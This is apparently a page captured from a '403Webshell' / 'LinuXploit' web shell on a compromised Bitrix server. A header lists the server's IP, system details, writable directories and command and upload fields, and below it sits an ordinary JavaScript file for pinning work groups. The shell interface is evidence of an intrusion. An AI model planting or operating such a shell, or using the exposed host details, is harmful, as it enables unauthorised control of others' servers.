403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/cvetdv.ru/bitrix/js/socialnetwork/ui/grid/src/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/cvetdv.ru/bitrix/js/socialnetwork/ui/grid/src/actions.js
import { Type, Dom, ajax, Loc } from 'main.core';
import { BaseEvent } from 'main.core.events';

export class Actions
{
	static options = {};
	static class = {
		active: 'main-grid-cell-content-action-active',
		showByHover: 'main-grid-cell-content-action-by-hover',
	};
	static actionsPanel = null;

	static setOptions(options)
	{
		Actions.options = options;
	}

	static setActionsPanel(actionsPanel)
	{
		Actions.actionsPanel = actionsPanel;
	}

	static changePin(groupId, event: BaseEvent)
	{
		const { button } = event.getData();

		const action = (
			Dom.hasClass(button, Actions.class.active)
				? 'unpin'
				: 'pin'
		);

		ajax.runAction('socialnetwork.api.workgroup.changePin', {
			data: {
				groupIdList: [ groupId ],
				action: action,
				componentName: Actions.options.componentName,
				signedParameters: Actions.options.signedParameters,
			},
		}).then(
			() => {
				if (action === 'unpin')
				{
					Dom.removeClass(button, Actions.class.active);
					Dom.addClass(button, Actions.class.showByHover);
				}
				else
				{
					Dom.addClass(button, Actions.class.active);
					Dom.removeClass(button, Actions.class.showByHover);
				}
			},
			(response) => {
				const errorMessage = (
					Type.isStringFilled(response.message)
						? response.message
						: Loc.getMessage('SONET_EXT_UI_GRID_MEMBERS_ACTION_ERROR')
				);
				BX.UI.Notification.Center.notify({
					content: errorMessage,
				});
			}
		);
	}

	static getActionIds(params)
	{
		if (!Type.isUndefined(params.groupId))
		{
			return [ params.groupId ];
		}

		const selected = Actions.getSelectedRows();
		if (selected.length === 0)
		{
			return [];
		}

		return selected.map((row) => {
			return row.getDataset().id;
		});
	}

	static hideActionsPanel()
	{
		if (!Actions.actionsPanel)
		{
			return;
		}

		Actions.actionsPanel.hidePanel();
	}

	static getSelectedRows()
	{
		return Actions.getGridInstance().getRows().getSelected();
	}

	static unselectRows()
	{
		Actions.getGridInstance().getRows().unselectAll();
	}

	static getGridInstance()
	{
		return Actions.options.gridInstance;
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit